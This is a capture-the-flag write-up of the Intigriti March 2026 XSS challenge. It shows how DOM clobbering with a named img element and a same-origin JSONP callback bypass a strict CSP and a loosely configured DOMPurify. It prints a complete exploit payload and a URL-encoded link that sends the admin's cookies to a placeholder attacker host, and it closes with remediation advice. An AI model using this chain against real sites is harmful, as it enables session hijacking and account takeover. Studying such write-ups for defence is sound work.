Intigriti March 2026 XSS Challenge: Full Writeup
DOM Clobbering + JSONP Callback Injection via DOMPurify Misconfiguration
Initial Reconnaissance
The challenge presents itself as the "Intigriti Secure Search Portal", an interface with a search box and a "Report it to Admin" link. That report link is the classic signal: there's an admin bot that visits URLs we submit, meaning we need to craft a URL that steals the admin's cookies.
Viewing the source reveals three JavaScript files loaded by the page:
/js/purify.min.js: DOMPurify/js/components.js: A customComponentManagerclass and anAuthmodule/js/main.js: The application logic that ties everything together
Also, we can see an HTML comment which says: "We adhere to a strict CSP for maximum security", a hint that Content Security Policy would be a factor.
Understanding the Application Logic
main.js: The Search Flow
The core logic is straightforward. The app reads the q parameter from the URL, sanitises it with DOMPurify, and injects it into the page:
const params = new URLSearchParams(window.location.search);
const q = params.get('q');
const cleanHTML = DOMPurify.sanitize(q, {
FORBID_ATTR: ['id', 'class', 'style'],
KEEP_CONTENT: true
});
resultsContainer.innerHTML = `<p>Results for: <span class="search-term-highlight">${cleanHTML}</span></p>
<p>No matching records found...</p>`;
After injecting the HTML, it initialises the ComponentManager:
if (window.ComponentManager) {
window.ComponentManager.init();
}
There's also a report modal that POSTs a URL to /report, presumably triggering an admin bot to visit it.
Key observations:
User input flows directly into
innerHTMLafter DOMPurify sanitisationDOMPurify only forbids
id,class,styleattributes and everything else passes throughComponentManager.init()runs after the user-controlled HTML is injected into the DOM
components.js: The ComponentManager
The ComponentManager scans the DOM for elements with data-component="true" and dynamically loads scripts based on their data-config attribute:
class ComponentManager {
static init() {
document.querySelectorAll('[data-component="true"]').forEach(element => {
this.loadComponent(element);
});
}
static loadComponent(element) {
let rawConfig = element.getAttribute('data-config');
if (!rawConfig) return;
let config = JSON.parse(rawConfig);
let basePath = config.path || '/components/';
let compType = config.type || 'default';
let scriptUrl = basePath + compType + '.js';
let s = document.createElement('script');
s.src = scriptUrl;
document.head.appendChild(s);
}
}
This is extremely interesting. If we can inject a <div data-component="true" data-config="..."> into the page, we control the URL of a dynamically loaded <script> tag. But CSP restricts where scripts can load from.
components.js: The Auth.loginRedirect Callback
The same file defines a JSONP-style callback function:
window.Auth.loginRedirect = function (data) {
let config = window.authConfig || {
dataset: { next: '/', append: 'false' }
};
let redirectUrl = config.dataset.next || '/';
if (config.dataset.append === 'true') {
let delimiter = redirectUrl.includes('?') ? '&' : '?';
redirectUrl += delimiter + "token=" + encodeURIComponent(document.cookie);
}
window.location.href = redirectUrl;
};
This function reads from window.authConfig, and if dataset.append is "true", it appends document.cookie to the redirect URL. This is the exfiltration mechanism, if we can control window.authConfig, and trigger this callback, we can get the cookie of the user.
Mapping the Constraints
Content Security Policy
Checking the HTTP response headers reveals a strict CSP:
default-src 'none';
script-src 'self';
connect-src 'self';
img-src 'self' data:;
style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;
font-src 'self' data: https://fonts.googleapis.com https://fonts.gstatic.com;
frame-ancestors 'self';
frame-src 'self';
The critical directive is script-src 'self' that we can only load scripts from the same origin (challenge-0326.intigriti.io). No external scripts, no inline scripts, no eval. This is the "inner wall" referenced in the hint.
DOMPurify Configuration
DOMPurify is configured with:
javascript
FORBID_ATTR: ['id', 'class', 'style'],
KEEP_CONTENT: true
What's forbidden: id, class, style What's allowed: Everything else, including name, data-*, src, href, etc.
This is a significant misconfiguration. The name attribute and all data-* attributes pass through unscathed.
The Attack Surface Summary
At this point, I identified three building blocks:
HTML injection via the
qparameter (filtered through DOMPurify, butdata-*andnamesurvive)Script loading via ComponentManager (needs a same-origin script URL due to CSP)
Cookie exfiltration via
Auth.loginRedirect(needswindow.authConfigto be controlled)
The challenge becomes: how do I chain these together?
Finding the Hidden JSONP Endpoint
The hint released by Iintigiriti team said: "find the hidden api endpoint that lets you choose the callback." This points to a JSONP endpoint on the same origin, which would satisfy the script-src 'self' CSP.
I started probing for API endpoints. Most common paths (/api/search, /api/auth, /api/config, etc.) returned 404. I then ran a broader wordlist scan across dozens of possible path names. After testing words like analytics, track, log, metrics, stats, etc., I got a hit:
/api/stats → 400 (Bad Request, not 404!)
A 400 means the endpoint exists but we're missing a required parameter. Testing with different query parameters:
/api/stats → 400
/api/stats?callback=test → 200 ✓
/api/stats?cb=test → 400
/api/stats?jsonp=test → 400
The callback parameter is the one. Fetching the response body confirms it's a JSONP endpoint:
test({"users":1337,"active":42,"status":"Operational"});
And with our target callback:
/api/stats?callback=Auth.loginRedirect
Returns:
Auth.loginRedirect({"users":1337,"active":42,"status":"Operational"});
This is the key to bypassing the CSP. Since this endpoint is same-origin and returns valid JavaScript that calls Auth.loginRedirect, we can load it as a script.
Controlling window.authConfig
The Auth.loginRedirect function reads its configuration from window.authConfig:
let config = window.authConfig || { dataset: { next: '/', append: 'false' } };
If window.authConfig is undefined, it falls back to safe defaults. We need to make window.authConfig point to something we control, with dataset.next set to our webhook URL and dataset.append set to "true".
This is where DOM clobbering comes in. In browsers, certain HTML elements with a name attribute automatically creates properties on the window object. For example, <img name="foo"> makes window.foo reference that <img> element.
Testing different tags, i found that both <img> and <form> work. I chose <img> for simplicity:
<img name="authConfig" data-next="https://ATTACKER" data-append="true">
After DOMPurify sanitises this, it passes through unchanged. Once injected via innerHTML, window.authConfig now points to this <img> element. Accessing window.authConfig.dataset.next returns our attacker URL, and dataset.append returns "true".
Crafting the ComponentManager Trigger
The ComponentManager builds script URLs as:
let scriptUrl = basePath + compType + '.js';
We need the final URL to be /api/stats?callback=Auth.loginRedirect. Since .js is appended, we can use a dummy query parameter to absorb it:
path=/api/stats?callback=Auth.loginRedirect&x=type=yResult:
/api/stats?callback=Auth.loginRedirect&x=y.js
The &x=y.js is just an extra ignored query parameter. The server still returns the JSONP response with Auth.loginRedirect(...).
The injected element:
<div data-component="true" data-config='{"path":"/api/stats?callback=Auth.loginRedirect&x=","type":"y"}'>z</div>
Assembling the Final Payload
Combining both pieces, the raw HTML payload is:
<img name="authConfig" data-next="https://ATTACKER_URL" data-append="true">
<div data-component="true" data-config='{"path":"/api/stats?callback=Auth.loginRedirect&x=","type":"y"}'>z</div>
As everything is ready now, I further encountered a critical encoding subtlety. When this payload is placed in the q URL parameter, the &x= inside data-config gets interpreted by URLSearchParams as a separate parameter boundary, truncating the q value prematurely.
Since the browser's HTML parser decodes entities before JavaScript reads the attribute, we can use " for double quotes and & for ampersands:
<img name="authConfig" data-next="https://ATTACKER_URL" data-append="true">
<div data-component="true" data-config="{"path":"/api/stats?callback=Auth.loginRedirect&x=","type":"y"}">z</div>
Now, when URL-encoded with encodeURIComponent, all special characters are properly escaped at the URL level, and the HTML entities decode correctly at the HTML parsing level.
Final Exploit URL
https://challenge-0326.intigriti.io/challenge.html?q=%3Cimg%20name%3D%22authConfig%22%20data-next%3D%22https%3A%2F%2FATTACKER_URL%22%20data-append%3D%22true%22%3E%3Cdiv%20data-component%3D%22true%22%20data-config%3D%22%7B%26quot%3Bpath%26quot%3B%3A%26quot%3B%2Fapi%2Fstats%3Fcallback%3DAuth.loginRedirect%26amp%3Bx%3D%26quot%3B%2C%26quot%3Btype%26quot%3B%3A%26quot%3By%26quot%3B%7D%22%3Ez%3C%2Fdiv%3E
The Exploit Chain
Here's exactly what happens when the victim (admin bot) clicks the crafted link:
Browser loads the page with the malicious
qparameter.DOMPurify sanitizes the HTML. Since only
id,class, andstyleare forbidden, thename,data-next,data-append,data-component, anddata-configattributes all pass through.innerHTML injects the sanitized HTML into the DOM. This creates:
An
<img name="authConfig">element →window.authConfignow points to it (DOM clobbering)A
<div data-component="true" data-config="...">element → ready for ComponentManager
ComponentManager.init() runs, finds the
data-componentdiv, parses the JSON config, and creates a<script>tag withsrc="/api/stats?callback=Auth.loginRedirect&x=y.js".The JSONP script loads (same-origin, so CSP allows it) and executes:
Auth.loginRedirect({"users":1337,...}).Auth.loginRedirect reads
window.authConfig(our clobbered<img>element):config.dataset.append→"true"
Cookie exfiltration: The function builds
https://ATTACKER_URL?token=<document.cookie>and redirects the victim's browser there.The attacker's server receives the admin's cookies in the
tokenquery parameter.
Impact
This vulnerability allows session hijacking through a single crafted URL. An attacker can steal the admin's authentication cookies without any user interaction beyond clicking a link and achieve complete account takeover.
Remediation
Add name to FORBID_ATTR to prevent DOM clobbering. Better yet, use ALLOW_DATA_ATTR: false to block all data-* attributes from user input.




